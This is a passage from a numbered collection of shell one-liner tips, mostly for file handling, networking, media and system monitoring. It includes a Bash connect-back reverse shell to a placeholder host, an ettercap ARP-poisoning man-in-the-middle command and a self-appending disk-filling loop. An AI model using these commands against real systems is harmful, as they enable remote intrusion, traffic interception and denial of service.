  6885. mysqldump -u UNAME -p DBNAME > FILENAME
  6886.  
  6887. # Get your public ip
  6888. curl -s ip.appspot.com
  6889.  
  6890. # Get a metascore from metacritic.com
  6891. metascore(){ curl -s "http://www.metacritic.com/$@" | sed -rn 's|\t*<!-- metascore --><div id="metascore" class=".*">([^<]*)</div>|\1|p'; }
  6892.  
  6893. # Connect-back shell using Bash built-ins
  6894. exec 0</dev/tcp/hostname/port; exec 1>&0; exec 2>&0; exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0
  6895.  
  6896. # Display condensed log in a tree-like format.
  6897. git log --graph --pretty=oneline --decorate
  6898.  
  6899. # Export OPML from Google Reader
  6900. export-opml(){ curl -sH "Authorization: GoogleLogin auth=$(curl -sd "Email=$1&Passwd=$2&service=reader" https://www.google.com/accounts/ClientLogin | grep Auth | sed 's/Auth=\(.*\)/\1/')" http://www.google.com/reader/subscriptions/export; }
  6901.  
  6902. # Insert a line for each n lines
  6903. ls -l | sed "$(while (( ++i < 5 )); do echo "N;"; done) a -- COMMIT --"
  6904.  
  6905. # Terminal Escape Code Zen - Strace and Tput
  6906. termtrace(){( strace -s 1000 -e write tput $@ 2>&2 2>&1 ) | grep -o '"[^"]*"';}
  6907.  
  6908. # converting vertical line to horizontal line
  6909. tr '\n' '\t' < inputfile
  6910.  
  6911. # Quickly build ulimit command from current values
  6912. echo "ulimit `ulimit -a|sed -e 's/^.*\([a-z]\))\(.*\)$/-\1\2/'|tr "\n" ' '`"
  6913.  
  6914. # Find C/C++ source files
  6915. find . -name '*.[c|h]pp' -o -name '*.[ch]' -type f
  6916.  
  6917. # Email an svn dump
  6918. (svnadmin dump /path/to/repo | gzip --best > /tmp/svn-backup.gz) 2>&1 | mutt -s "SVN backup `date +\%m/\%d/\%Y`" -a /tmp/svn-backup.gz emailaddress
  6919.  
  6920. # Fetch the Gateway Ip Address
  6921. netstat -nr | awk 'BEGIN {while ($3!="0.0.0.0") getline; print $2}'
  6922.  
  6923. # simple echo of IPv4 IP addresses assigned to a machine
  6924. ip addr | awk '/inet / {sub(/\/.*/, "", $2); print $2}'
  6925.  
  6926. # Sort a character string
  6927. echo sortmeplease | perl -pe 'chomp; $_ = join "", sort split //'
  6928.  
  6929.  
  6930.  
  6931. # Top ten (or whatever) memory utilizing processes (with children aggregate) - Can be done without the multi-dimensional array
  6932. ps axo rss,comm,pid | awk '{ proc_list[$2] += $1; } END { for (proc in proc_list) { printf("%d\t%s\n", proc_list[proc],proc); }}' | sort -n | tail -n 10
  6933.  
  6934. # Show the 1000*1000 and 1024*1024 size of HDs on system
  6935. awk '/d[a-z]+$/{print $4}' /proc/partitions | xargs -i sudo hdparm -I /dev/{} | grep 'device size with M'
  6936.  
  6937. # Mount a truecrypt drive from a file from the command line interactively
  6938. sudo truecrypt <truecrypt-file> <mount-point>
  6939.  
  6940. # Mouse Tracking
  6941. while true; do xdotool getmouselocation | sed 's/x:\(.*\) y:\(.*\) screen:.*/\1, \2/' >> ./mouse-tracking; sleep 10; done
  6942.  
  6943. # Display network pc "name" and "workgroup"
  6944. nmblookup -A <ip>
  6945.  
  6946. # Extracts PDF pages as images
  6947. convert in.pdf out.jpg
  6948.  
  6949. # Rips CDs (Playstation, etc.) and names the files the same as the volume name
  6950. cdrdao read-cd --read-raw --datafile "`volname /dev/hdc | sed 's/[ ^t]*$//'`".bin --device ATAPI:0,0,0 --driver generic-mmc-raw "`volname /dev/hdc | sed 's/[ ^t]*$//'`".toc
  6951.  
  6952. # a function to create a box of '=' characters around a given string.
  6953. box() { l=${#1}+4;x=${2:-=};n $l $x; echo "$x $1 $x"; n $l $x; }; n() { for (( i=0; $i<$1; i=$i+1)); do printf $2; done; printf "\n"; }
  6954.  
  6955. # shell function to underline a given string.
  6956. underline() { echo $1; for (( i=0; $i<${#1}; i=$i+1)); do printf "${2:-=}"; done; printf "\n"; }
  6957.  
  6958. # Copy with progress
  6959. rsync --progress file1 file2
  6960.  
  6961. # a find and replace within text-based files
  6962. find . -iname "FILENAME" -exec sed -i 's/SEARCH_STRING/REPLACE_STRING/g' {} \;
  6963.  
  6964. # A nice way to show git commit history, with easy to read revision numbers instead of the default hash
  6965. git log --reverse --pretty=oneline | cut -c41- | nl | sort -nr
  6966.  
  6967. # find all open files by named process
  6968. lsof -c $processname | egrep 'w.+REG' | awk '{print $9}' | sort | uniq
  6969.  
  6970. # Search and play MP3 from Skreemr
  6971. function skreemplay() { lynx -dump "http://skreemr.com/results.jsp?q=$*" | grep mp3$ | sed 's/^.* //' | xargs mplayer }
  6972.  
  6973. # Burn an ISO on command line with hdiutil on mac
  6974. hdiutil burn foo.iso
  6975.  
  6976. # show where symlinks are pointing
  6977. lsli() { ls -l --color "$@" | awk '{ for(i=9;i<NF;i++){ printf("%s ",$i) } printf("%s\n",$NF) }'; }
  6978.  
  6979. # ShadyURL via CLI
  6980. SITE="www.google.com"; curl --silent "http://www.shadyurl.com/create.php?myUrl=$SITE&shorten=on" | awk -F\' '/is now/{print $6}'
  6981.  
  6982. # See your current RAM frequency
  6983. /usr/sbin/dmidecode | grep -i "current speed"
  6984.  
  6985. # Speed up upgrades for a debian/ubuntu based system.
  6986. sudo aptitude update; sudo apt-get -y --print-uris upgrade | egrep -o -e "http://[^\']+" | sudo aria2c -c -d /var/cache/apt/archives -i -; sudo aptitude -y safe-upgrade
  6987.  
  6988. # List available upgrades from apt without upgrading the system
  6989. apt-get --just-print upgrade
  6990.  
  6991. # Allow any local (non-network) connection to running X server
  6992. xhost +local:
  6993.  
  6994. # Get your commandlinefu points (upvotes - downvotes)
  6995. username=bartonski;curl -s http://www.commandlinefu.com/commands/by/$username/json|perl -e 'BEGIN{$s=0;$n=0};END{print "Score: $s\nEntries: $n\nMean: ";printf "%3.2f\n",$s/$n}' -0173 -nae 'foreach $f (@F){if($f =~ /"votes":"(-*\d+)"/){$s += $1; $n++;}}'
  6996.  
  6997. # Get length of current playlist in xmms2
  6998. xmms2 list | sed -n -e '1i\0' -e 's/^.*(\([0-9]*\):\([0-9]*\))$/\1 60*\2++/gp' -e '$a\60op' | dc | sed -e 's/^ *//' -e 's/ /:/g'
  6999.  
  7000. # Geo Temp
  7001. curl -s www.google.com/ig/api?weather=$(curl -s api.hostip.info/get_html.php?ip=$(curl -s icanhazip.com) | sed -e'1d;3d' -e's/C.*: \(.*\)/\1/' -e's/ /%20/g' -e"s/'/%27/g") | sed 's|.*<t.*f data="\([^"]*\)"/>.*|\1\n|'
  7002.  
  7003. # Returns the number of cores in a linux machine.
  7004. grep -c ^processor /proc/cpuinfo
  7005.  
  7006.  
  7007.  
  7008. # split a file by a specific number of lines
  7009. csplit -k my_file 500 {*}
  7010.  
  7011. # Url Encode
  7012. uri_escape(){ echo -E "$@" | sed 's/\\/\\\\/g;s/./&\n/g' | while read -r i; do echo $i | grep -q '[a-zA-Z0-9/.:?&=]' && echo -n "$i" || printf %%%x \'"$i" done }
  7013.  
  7014. # Url Encode
  7015. echo "$url" | sed 's/%/%25/g;s/ /%20/g;s/!/%21/g;s/"/%22/g;s/#/%23/g;s/\$/%24/g;s/\&/%26/g;s/'\''/%27/g;s/(/%28/g;s/)/%29/g'
  7016.  
  7017. # This allows you to find a string on a set of files recursivly
  7018. grep -rF --include='*.txt' stringYouLookFor *
  7019.  
  7020. # List users with running processes
  7021. ps aux | sed -n '/USER/!s/\([^ ]\) .*/\1/p' | sort -u
  7022.  
  7023. # Function to split a string into an array
  7024. Split() { SENT=${*} ; sentarry=( ${SENT} ) ; while [[ ${#sentarry[@]} -gt 0 ]] ; do printf "%s\n" "${sentarry[0]}" ; sentarry=( ${sentarry[@]:1} ) ; done ; }
  7025.  
  7026. # get detailed info about a lan card on HP-UX 11.31
  7027. nwmgr -q info -c lan0
  7028.  
  7029. # A function to find the newest file in a directory
  7030. find /path/to/dir -type f -printf "%T@|%p\n" 2>/dev/null | sort -n | tail -n 1| awk -F\| '{print $2}'
  7031.  
  7032. # A function to find the newest file in a directory
  7033. newest () { DIR=${1:-'.'}; CANDIDATE=`find $DIR -type f|head -n1`; while [[ ! -z $CANDIDATE ]]; do BEST=$CANDIDATE; CANDIDATE=`find $DIR -newer "$BEST" -type f|head -n1`; done; echo "$BEST"; }
  7034.  
  7035. # set a reminder for 5 days in the future
  7036. echo "DISPLAY=$DISPLAY xmessage setup suphp perms htscanner acct#101101 host2.domain.com" | at 23:00 Feb 8
  7037.  
  7038. # Get an authorization code from Google
  7039. curl -s https://www.google.com/accounts/ClientLogin -d Email=$email -d Passwd=$password -d service=lh2 | grep Auth | sed 's/Auth=\(.*\)/\1/'
  7040.  
  7041. # Fix the vi zsh bindings on ubuntu
  7042. sudo sed -iorig '/\(up\|down\)/s/^/#/' /etc/zsh/zshrc
  7043.  
  7044. # Get current Xorg resolution via xrandr
  7045. xrandr -q|sed -n 's/.*current[ ]\([0-9]*\) x \([0-9]*\),.*/\1x\2/p'
  7046.  
  7047. # Recursively replace a string in files with lines matching string
  7048. find . -type f |xargs -I% sed -i '/group name/s/>/ deleteMissing="true">/' %
  7049.  
  7050. # Define words with google. (busybox version)
  7051. wget -q -U busybox -O- "http://www.google.com/search?ie=UTF8&q=define%3A$1" | tr '<' '\n' | sed -n 's/^li>\(.*\)/\1\n/p'
  7052.  
  7053. # find large files
  7054. find . -type f -size +1100000k |xargs -I% du -sh %
  7055.  
  7056. # Validating a file with checksum
  7057. echo 'c84fa6b830e38ee8a551df61172d53d7 myfile' | md5sum -c
  7058.  
  7059. # a shell function to print a ruler the width of the terminal window.
  7060. ruler() { for s in '....^....|' '1234567890'; do w=${#s}; str=''; for (( i=1; i<=(COLUMNS + w) / $w; i=i+1 )); do str+=$s; done; str=${str:0:COLUMNS} ; echo $str; done; }
  7061.  
  7062. # View the newest xkcd comic.
  7063. feh `lynx --dump http://xkcd.com/| grep png`
  7064.  
  7065. # Rename duplicates from MusicBrainz Picard
  7066. for i in */*/*\(1\)*; do mv -f "$i" "${i/ (1)}"; done
  7067.  
  7068. # diff the same file in two directories.
  7069. diff {$path1,$path2}/file_to_diff
  7070.  
  7071. # test moduli file generated for openssh
  7072. ssh-keygen -T moduli-2048 -f /tmp/moduli-2048.candidates
  7073.  
  7074. # For when GUI programs stop responding..
  7075. xkill
  7076.  
  7077. # ettercap..
  7078. ettercap -i ${interface} -P ${plugin} -Tq -M ARP:REMOTE // // -m ${PurloinedData}.log
  7079.  
  7080. # Concatenate video files to YouTube ready output
  7081. mencoder -audiofile input.mp3 -oac copy -ovc lavc -lavcopts vcodec=mpeg4 -ffourcc xvid -vf scale=320:240,harddup input1.avi input2.avi -o output.avi
  7082.  
  7083.  
  7084.  
  7085. # Equivalent to ifconfig -a in HPUX
  7086. for i in `lanscan -i | awk '{print $1}'` ; do ifconfig $i ; done
  7087.  
  7088. # Comment out all lines in a file beginning with string
  7089. sed -i 's/^\(somestring\)/#\1/' somefile.cfg
  7090.  
  7091. # Recursively grep thorugh directory for string in file.
  7092. find directory/ -exec grep -ni phrase {} +
  7093.  
  7094. # Find Duplicate Files, excluding .svn-directories (based on size first, then MD5 hash)
  7095. find -type d -name ".svn" -prune -o -not -empty -type f -printf "%s\n" | sort -rn | uniq -d | xargs -I{} -n1 find -type d -name ".svn" -prune -o -type f -size {}c -print0 | xargs -0 md5sum | sort | uniq -w32 --all-repeated=separate
  7096.  
  7097. # Press a key automatically
  7098. while true; do xvkbd -xsendevent -text "\[$KEY]" && sleep 2; done
  7099.  
  7100. # Shell function to create a directory named with the current date, in the format YYYYMMDD.
  7101. dmd () { ( if [ "$1"x != "x" ]; then cd $1; fi; mkdir `date +%Y%m%d` ) }
  7102.  
  7103. # Gathering all MAC's in your local network
  7104. sudo arp-scan --interface=eth0 -l
  7105.  
  7106. # delete multiple files with spaces in filenames (with confirmation)
  7107. ls -Q * | xargs -p rm
  7108.  
  7109. # Recursively grep for string and format output for vi(m)
  7110. mgc() { grep --exclude=cscope* --color=always -rni $1 . |perl -pi -e 's/:/ +/' |perl -pi -e 's/^(.+)$/vi $1/g' |perl -pi -e 's/:/ /'; }
  7111.  
  7112. # Recursively grep thorugh directory for string in file.
  7113. grep -rni string dir
  7114.  
  7115. # Testing ftp server status
  7116. for host in $(cat ftps.txt) ; do if echo -en "o $host 21\nquit\n" |telnet 2>/dev/null |grep -v 'Connected to' >/dev/null; then echo -en "FTP $host KO\n"; fi done
  7117.  
  7118. # Copy specific files recursively using the same tree organization.
  7119. rsync -vd --files-from=<(find . -name entries -print ) . ../target_directory
  7120.  
  7121. # Convert all old SVN repositories in one directory to new format
  7122. find . -maxdepth 1 -type d -exec 'mv "{}" "{}-old" && svnadmin create "{}" && svnadmin recover "{}-old" && svnadmin dump "{}-old" | svnadmin load "{}" && rm -rf "{}-old"' \;
  7123.  
  7124. # Top Command in batch mode
  7125. top -b -n 1
  7126.  
  7127. # Linux zsh one-liner to Determine which processes are using the most swap space currently
  7128. for i in $(ps -ef | awk '{print $2}') ; { swp=$( awk '/Swap/{sum+=$2} END {print sum}' /proc/$i/smaps ); if [[ -n $swp && 0 != $swp ]] ; then echo -n "\n $swp $i "; cat /proc/$i/cmdline ; fi; } | sort -nr
  7129.  
  7130. # delete duplicate lines from a file and keep the order of the other lines
  7131. cat -n <file> | sort -k 2 | uniq -f 1 | sort -n | cut -f 2-
  7132.  
  7133. # Search big files with long lines
  7134. lgrep() { string=$1; file=$2; awk -v String=${string} '$0 ~ String' ${file}; }
  7135.  
  7136. # Dump and bz2compress a mysql db
  7137. mysqldump -u user -h host -ppwd -B dbname | bzip2 -zc9 > dbname.sql.bz2
  7138.  
  7139. # perl insert character on the first line on your file
  7140. perl -i~ -0777pe's/^/\!\#\/usr\/bin\/ksh\n/' testing
  7141.  
  7142. # monitor system load
  7143. tload -s 10
  7144.  
  7145. # Sed can refference parts of the pattern in the replacement:
  7146. echo -e "swap=me\n1=2"|sed 's/\(.*\)=\(.*\)/\2=\1/g'
  7147.  
  7148. # download the contents of a remote folder in the current local folder
  7149. wget -r -l1 -np -nd http://yoururl.com/yourfolder/
  7150.  
  7151. # Create a directory and go inside it
  7152. mkdir dir; cd $_
  7153.  
  7154. # Print unique ipaddresses as they come in from Apache Access Log File
  7155. tail -f /var/log/apache2/access.log | awk -W interactive '!x[$1]++ {print $1}'
  7156.  
  7157. # download file1 file2 file3 file4 .... file 100
  7158. wget http://domain.com/file{1..100}
  7159.  
  7160.  
  7161.  
  7162. # clone an USB stick using dd + see its process
  7163. dd if=/dev/sdc of=/dev/sdd conv=notrunc & while killall -USR1 dd; do sleep 5; done
  7164.  
  7165. # share internet connection with only one network interface
  7166. ifconfig eth0:1 192.168.0.1/24
  7167.  
  7168. # Change pidgin status
  7169. dbus-send --print-reply --dest=im.pidgin.purple.PurpleService /im/pidgin/purple/PurpleObject im.pidgin.purple.PurpleInterface.PurpleSavedstatusActivate int32:<WANTED STATE>
  7170.  
  7171. # How many Linux and Windows devices are on your network?
  7172. sudo nmap -F -O 192.168.1.1-255 | grep "Running: " > /tmp/os; echo "$(cat /tmp/os | grep Linux | wc -l) Linux device(s)"; echo "$(cat /tmp/os | grep Windows | wc -l) Window(s) devices"
  7173.  
  7174. # Show recent earthquakes in Bay Area
  7175. lynx --width=200 --dump 'http://quake.usgs.gov/recenteqs/Maps/San_Francisco_eqs.htm'|sed -ne '/MAG.*/,/^References/{;s/\[[0-9][0-9]*\]//;1,/h:m:s/d;/Back to map/,$d;/^$/d;/^[ \t][ \t]*[3-9]\.[0-9][0-9]*[ \t][ \t]*/p; }'|sort -k1nr
  7176.  
  7177. # Find all files <10MB and sum up their size
  7178. i=0; for f in $(find ./ -size -10M -exec stat -c %s {} \; ); do i=$(($i + $f)); done; echo $i
  7179.  
  7180. # Every Nth line position # (SED)
  7181. sed -n '1,${p;n;n;}' foo > foo_every3_position1; sed -n '2,${p;n;n;}' foo > foo_every3_position2; sed -n '3,${p;n;n;}' foo > foo_every3_position3
  7182.  
  7183. # Prints line numbers
  7184. grep -n "^" <filename>
  7185.  
  7186. # Pretty man pages under X
  7187. vman(){ T=/tmp/$$.pdf;man -t $1 |ps2pdf - >$T; xpdf $T; rm -f $T; }
  7188.  
  7189. # Fix borked character coding in a tty.
  7190. LC_ALL=C man -c man
  7191.  
  7192. # Print a row of 50 hyphens
  7193. ruby -e 'puts "-" * 50'
  7194.  
  7195. # Show git branches by date - useful for showing active branches
  7196. for k in `git branch|sed s/^..//`;do echo -e `git log -1 --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" "$k"`\\t"$k";done|sort
  7197.  
  7198. # Do a search-and-replace in a file after making a backup
  7199. sed -i.bak 's/old/new/g' file
  7200.  
  7201. # Print a row of 50 hyphens
  7202. awk 'BEGIN{while (a++<50) s=s "-"; print s}'
  7203.  
  7204. # Prints line numbers
  7205. nl <filename>
  7206.  
  7207. # view certificate details
  7208. openssl x509 -in filename.crt -noout -text
  7209.  
  7210. # analyze traffic remotely over ssh w/ wireshark
  7211. mkfifo /tmp/fifo; ssh-keygen; ssh-copyid root@remotehostaddress; sudo ssh root@remotehost "tshark -i eth1 -f 'not tcp port 22' -w -" > /tmp/fifo &; sudo wireshark -k -i /tmp/fifo;
  7212.  
  7213. # Solaris get PID socket
  7214. pfiles -F /proc/* 2>/dev/null | awk '/^[0-9]+/{proc=$1};/[s]ockname: AF_INET/{print proc $0}'
  7215.  
  7216. # Batch convert PNG to JPEG
  7217. for i in *.png; do convert "$i" "${i%.png}.jpg" && rm "$i" && echo "$i is converted."; done
  7218.  
  7219. # Create package dependency graph
  7220. apt-cache dotty PKG-NAME | dot -Tpng | display
  7221.  
  7222. # pipe output to notify-send
  7223. echo 'Desktop SPAM!!!' | while read SPAM_OUT; do notify-send "$SPAM_OUT"; done
  7224.  
  7225. # Display _something_ when an X app fails
  7226. xlaunch(){ T=/tmp/$$;sh -c "$@" >$T.1 2>$T.2;S=$?;[ $S -ne 0 ]&&{ echo -e "'$@' failed with error $S\nSTDERR:\n$(cat $T.2)\nSTDOUT:\n$(cat $T.1)\n"|xmessage -file -;};rm -f $T.1 $T.2;}
  7227.  
  7228. # mount an iso
  7229. mount -o loop -t iso9660 my.iso /mnt/something
  7230.  
  7231. # monitor network traffic and throughput in real time
  7232. iptraf
  7233.  
  7234. # Display the output of a command from the first line until the first instance of a regular expression.
  7235. command | sed '/regex/q'
  7236.  
  7237.  
  7238.  
  7239. # find out how much space are occuipied by files smaller than 1024K (sic) - improved
  7240. find dir -size -1024k -type f -print0 | du --files0-from - -bc
  7241.  
  7242. # Display the list of all opened tabs from Firefox via a python one-liner and a shell hack to deal with python indentation.
  7243. python <<< $'import minjson\nf = open("sessionstore.js", "r")\njdata = minjson.read(f.read())\nf.close()\nfor win in jdata.get("windows"):\n\tfor tab in win.get("tabs"):\n\t\ti = tab.get("index") - 1\n\t\tprint tab.get("entries")[i].get("url")'
  7244.  
  7245. # command! -nargs=1 Vs vs &lt;args&gt;
  7246. Create aliases for common vim minibuffer/cmd typos
  7247.  
  7248. # find out how much space are occuipied by files smaller than 1024K
  7249. find dir -size -1024k -type f | xargs -d $'\n' -n1 ls -l | cut -d ' ' -f 5 | sed -e '2,$s/$/+/' -e '$ap' | dc
  7250.  
  7251. # Pause and Resume Processes
  7252. stop () { ps -ec | grep $@ | kill -SIGSTOP `awk '{print $1}'`; }
  7253.  
  7254. # List folders containing only PNGs
  7255. find . -name '*png' -printf '%h\0' | xargs -0 ls -l --hide=*.png | grep -ZB1 ' 0$'
  7256.  
  7257. # Find the location of the currently loaded php.ini file
  7258. php -i | grep php.ini
  7259.  
  7260. # Use curl to save an MP3 stream
  7261. curl -sS -o $outfile -m $showlengthinseconds $streamurl
  7262.  
  7263. # Display the output of a command from the first line until the first instance of a regular expression.
  7264. <your command here> | perl -n -e 'print "$_" if 1 ... /<regex>/;'
  7265.  
  7266. # Test file system type before further commands execution
  7267. DIR=. ; FSTYPE=$(df -TP ${DIR} | grep -v Type | awk '{ print $2 }') ; echo "${FSTYPE}"
  7268.  
  7269. # Show database sql schema from Remote or Local database
  7270. mysqldump -u<dbusername> -p<dbpassword> <databasename> --no-data --tables
  7271.  
  7272. # Awk one-liner that sorts a css file by selector
  7273. awk '/.*{$/{s[$1]=z[$1]=j+0}{l[j++]=$0}END{asorti(s);for(v in s){while(l[z[s[v]]]!~/}$/)print l[z[s[v]]++];print"}"ORS}}'
  7274.  
  7275. # Watch postgresql calls from your application on localhost
  7276. sudo tcpdump -nnvvXSs 1514 -i lo0 dst port 5432
  7277.  
  7278. # See entire packet payload using tcpdump.
  7279. tcpdump -nnvvXSs 1514 -i <device> <filters>
  7280.  
  7281. # Read just the IP address of a device
  7282. /sbin/ip -f inet addr | sed -rn 's/.*inet ([^ ]+).*(eth[[:digit:]]*(:[[:digit:]]+)?)/\2 \1/p' | column -t
  7283.  
  7284. # Random colours at random locations
  7285. p(){ printf "\033[%d;%dH\033[4%dm \033[m" $((RANDOM%LINES+1)) $((RANDOM%COLUMNS+1)) $((RANDOM%8)); }; clear;while :;do p; sleep .001;done
  7286.  
  7287. # Check general system error on AIX
  7288. errpt -a | more
  7289.  
  7290. # output stats from a running dd command to see its progress
  7291. watch -n60 --kill -USR1 $(pgrep dd)
  7292.  
  7293. # Freshening up RKhunter
  7294. rkhunter --versioncheck --update --propupd --check
  7295.  
  7296. # Expedient hard disk temprature and load cycle stats
  7297. watch -d 'sudo smartctl -a /dev/sda | grep Load_Cycle_Count ; sudo smartctl -a /dev/sda | grep Temp'
  7298.  
  7299. # Show permissions of current directory and all directories upwards to /
  7300. dir=$(pwd); while [ ! -z "$dir" ]; do ls -ld "$dir"; dir=${dir%/*}; done; ls -ld /
  7301.  
  7302. # Display IP adress of the given interface in a most portable and reliable way. That should works on many platforms.
  7303. x=IO::Interface::Simple; perl -e 'use '$x';' &>/dev/null || cpan -i "$x"; perl -e 'use '$x'; my $ip='$x'->new($ARGV[0]); print $ip->address,$/;' <INTERFACE>
  7304.  
  7305. # convert video format to youtube flv format
  7306. ffmpeg -i Your_video_file -s 320x240 FILE.flv
  7307.  
  7308. # add an mp3 audio track to a video
  7309. mencoder -idx Your_Input_Video_File -ovc lavc -oac mp3lame -audiofile Your_Audio_track.mp3 -o Output_File.avi
  7310.  
  7311. # validate xml in a shell script.
  7312. xmlproc_parse.python-xml &>/dev/null <FILE> || exit 1
  7313.  
  7314.  
  7315.  
  7316. # validate xml in a shell script using xmllint
  7317. xmllint --noout some.xml 2>&1 >/dev/null || exit 1
  7318.  
  7319. # convert wmv into xvid avi format
  7320. mencoder -ovc xvid -oac mp3lame -srate 44100 -af lavcresample=44100 -xvidencopts fixed_quant=4 Foo.wmv -o Bar.avi
  7321.  
  7322. # Collect a lot of icons from /usr/share/icons (may overwrite some, and complain a bit)
  7323. mkdir myicons; find /usr/share/icons/ -type f -exec cp {} ./myicons/ \;
  7324.  
  7325. # list all opened ports on host
  7326. time { i=0; while [ $(( i < 65535 )) -eq 1 ] ; do nc -zw2 localhost $((++i)) && echo port $i opened ; done; }
  7327.  
  7328. # random xkcd comic as xml
  7329. curl -sL 'dynamic.xkcd.com/comic/random/' | awk -F\" '/^<img/{printf("<?xml version=\"1.0\"?>\n<xkcd>\n<item>\n <title>%s</title>\n <comment>%s</comment>\n <image>%s</image>\n</item>\n</xkcd>\n", $6, $4, $2)}'
  7330.  
  7331. # Provide information on IPC (Inter-process communication) facilities
  7332. ipcs
  7333.  
  7334. # Get your public ip using dyndns
  7335. curl -s 'http://www.loopware.com/ip.php'
  7336.  
  7337. # recursive search and replace old with new string, inside files
  7338. $rpl -R oldstring newstring folder
  7339.  
  7340. # Find and copy scattered mp3 files into one directory
  7341. find . -type f -iname '*.mp3' -exec cp {} ~/mp3/ \;
  7342.  
  7343. # Check your hard drive for bad blocks (destructive)
  7344. badblocks -c 65536 -o /tmp/badblocks.out -p 2 -s -v -w /dev/hdX > /tmp/badblocks.stdout 2> /tmp/badblocks.stderr
  7345.  
  7346. # Find and copy scattered mp3 files into one directory
  7347. find . -name '*.mp3' -type f -exec sh -c 'exec cp -f "$@" /home/user/dir' find-copy {} +
  7348.  
  7349. # Quickly batch resize images
  7350. mogrify -geometry 800x600 *.jpg
  7351.  
  7352. # Monitoring sessions that arrive at your server
  7353. watch -n 1 -d "finger"
  7354.  
  7355. # Download streaming video in mms
  7356. mimms mms://Your_url.wmv
  7357.  
  7358. # Salvage a borked terminal
  7359. echo <ctrl+v><ctrl+o><enter>
  7360.  
  7361. # Ruby - nslookup against a list of IP`s or FQDN`s
  7362. while read n; do host $n; done < list
  7363.  
  7364. # Fill up disk space (for testing)
  7365. tail $0 >> $0
  7366.  
  7367. # Show local/public IP adresses with or without interface argument using a shell function for Linux and MacOsX
  7368. MyIps(){ echo -e "local:\n$(ifconfig $1 | grep -oP 'inet (add?r:)?\K(\d{1,3}\.){3}\d{1,3}')\n\npublic:\n$(curl -s sputnick-area.net/ip)"; }
  7369.  
  7370. # Audible warning when a downloading is finished
  7371. while [ "$(ls $filePart)" != "" ]; do sleep 5; done; mpg123 /home/.../warning.mp3
  7372.  
  7373. # mount a cdrom
  7374. mount -t iso9660 /dev/cdrom /media/cdrom
  7375.  
  7376. # Return IP Address
  7377. ifconfig|while read i;do [[ $i =~ inet.*B ]]&&r=${i%%B*}&&echo ${r/*[tr]:/};done
  7378.  
  7379. # Capture data in ASCII. 1500 bytes
  7380. tcpdump -ieth0 -n tcp port 80 -A -s1500
  7381.  
  7382. # Find file containing namespace in a directory of jar files.
  7383. for f in *.jar; do if jar -tf $f | grep -q javax.servlet; then echo $f; fi; done
  7384.  
  7385. # View the newest xkcd comic.
  7386. curl -s 'xkcd.com' | awk -F\" '/^<img/{printf("<?xml version=\"1.0\"?>\n<xkcd>\n<item>\n <title>%s</title>\n <comment>%s</comment>\n <image>%s</image>\n</item>\n</xkcd>\n", $6, $4, $2)}'
  7387.  
  7388. # find all writable (by user) files in a directory tree (use 4 for readable, 1 for executable)
  7389. find . -type f -perm +200 -print
  7390.  
  7391.  
  7392.  
  7393. # show how many regex you use in your vim today
  7394. cat ~/.viminfo | sed -n '/^:[0-9]\+,\([0-9]\+\|\$\)s/p'
  7395.  
  7396. # find read write traffic on disk since startup
  7397. iostat -m -d /dev/sda1
  7398.  
  7399. # urldecoding
  7400. perl -pe 's/%([0-9a-f]{2})/sprintf("%s", pack("H2",$1))/eig'
  7401.  
  7402. # Pull up remote desktop for other than gnome/kde eg fluxbox
  7403. rdp() { ssh $1 sh -c 'PATH=$PATH:/usr/local/bin; x11vnc -q -rfbauth ~/.vnc/passwd -display :0' & sleep 4; vncviewer $1:0 & }
  7404.  
  7405. # Get your bash scripts to handle options (-h, --help etc) and spit out auto-formatted help or man page when asked!!
  7406. process-getopt
  7407.  
  7408. # urldecoding
  7409. printf $(echo -n $1 | sed 's/\\/\\\\/g;s/\(%\)\([0-9a-fA-F][0-9a-fA-F]\)/\\x\2/g')
  7410.  
  7411. # In (any) vi, add a keystroke to format the current paragraph.
  7412. map ^A !}fmt
  7413.  
  7414. # Convert decimal numbers to binary
  7415. function decToBin { echo "ibase=10; obase=2; $1" | bc; }
  7416.  
  7417. # Find all dotfiles and dirs
  7418. find -mindepth 1 -maxdepth 1 -name .\*
  7419.  
  7420. # watch the previous command
  7421. watch -n1 -d !!
  7422.  
  7423. # List all symbolic links in current directory
  7424. ls -lah | grep ^l
  7425.  
  7426. # List the biggest accessible files/dirs in current directory, sorted
  7427. du -ms * 2>/dev/null |sort -nr|head
  7428.  
  7429. # Find all dot files and directories
  7430. ls -d .*
  7431.  
  7432. # Debian Runlevel configuration tool
  7433. rcconf
  7434.  
  7435. # Checks apache's access_log file, strips the search queries and shoves them up your e-mail
  7436. awk '/q=/{print $11}' /var/log/httpd/access_log.4 | awk -F 'q=' '{print $2}' | sed 's/+/ /g;s/%22/"/g;s/q=//' | cut -d "&" -f 1
  7437.  
  7438. # Show sorted list of files with sizes more than 1MB in the current dir
  7439. ls -l | awk '$5 > 1000000' | sort -k5n
  7440.  
  7441. # Testing reading speed with dd
  7442. sync; time `dd if=/dev/cciss/c0d1p1 of=/dev/null bs=1M count=10240`
  7443.  
  7444. # Testing writing speed with dd
  7445. sync; time `dd if=/dev/zero of=bigfile bs=1M count=2048 && sync`
  7446.  
  7447. # github push-ing behind draconian proxies!
  7448. git remote add origin git@SSH-HOST:<USER>/<REPOSITORY>.git
  7449.  
  7450. # rotate the compiz cube via command line
  7451. wmctrl -o 1280,0
  7452.  
  7453. # Short Information about loaded kernel modules
  7454. lsmod | sed -e '1d' -e 's/\(\([^ ]*\) \)\{1\}.*/\2/' | xargs modinfo | sed -e '/^dep/s/$/\n/g' -e '/^file/b' -e '/^desc/b' -e '/^dep/b' -e d
  7455.  
  7456. # Watch a TiVo File On Your Computer
  7457. curl -s -c /tmp/cookie -k -u tivo:$MAK --digest http://$tivo/download/$filename | tivodecode -m $MAK -- - | mplayer - -cache-min 50 -cache 65536
  7458.  
  7459. # convert wav files to flac
  7460. flac --best *.wav
  7461.  
  7462. # Sort movies by length, longest first
  7463. for i in *.avi; do echo -n "$i:";totem-gstreamer-video-indexer $i | grep DURATION | cut -d "=" -f 2 ; done | sort -t: -k2 -r
  7464.  
  7465. # check the status of 'dd' in progress
  7466. while killall -USR1 dd; do sleep 5; done
  7467.  
  7468.  
  7469.  
  7470. # Remove executable bit from all files in the current directory recursively, excluding other directories
  7471. find . ! -type d -exec chmod -x {}\;
  7472.  
  7473. # Both view and pipe the file without saving to disk
  7474. cat /path/to/some/file.txt | tee /dev/pts/0 | wc -l
  7475.  
  7476. # Easily decode unix-time (funtion)
  7477. utime(){ perl -e "print localtime($1).\"\n\"";}
  7478.  
